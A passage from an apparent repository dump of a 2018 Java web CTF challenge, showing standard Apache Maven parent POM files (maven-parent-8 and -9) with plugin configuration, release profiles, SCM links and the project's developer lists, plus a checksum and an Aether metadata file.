<groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n  </profiles>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-8</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-8</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-8</url>\n  </scm>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Heritier</name>\n      <email>aheritier@apache.org</email>\n      <organization>OCTO Technology</organization>\n      <organizationUrl>http://www.octo.com</organizationUrl>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>    \n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n    <!--Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>IONA</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Herve Boutemy</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas De Loof</name>\n      <email>nicolas@apache.org</email>\n      <organization>Capgemini</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <!--End Committers-->\n  </developers>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</distMgmtSnapshotsUrl>\n  </properties>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/8/maven-parent-8.pom.sha1",
    "content": "6f92a85ec401422bfc6572759a0bab2ff5df525e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:02 CST 2018\nmaven-parent-9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/9/maven-parent-9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>9</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Heritier</name>\n      <email>aheritier@apache.org</email>\n      <organization>OCTO Technology</organization>\n      <organizationUrl>http://www.octo.com</organizationUrl>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>IONA</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Herve Boutemy</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas De Loof</name>\n      <email>nicolas@apache.org</email>\n      <organization>Capgemini</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <!--End Committers-->\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-9</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-9</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-9</url>\n  </scm>\n  <ciManagement>\n    <system>Hudson</system>\n    <url>http://ci.sonatype.org</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>maven.staging</id>\n      <url>scp://people.apache.org/www/people.apache.org/builds/maven/${project.version}/staging-repo</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</distMgmtSnapshotsUrl>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n\n  <build>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.3</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          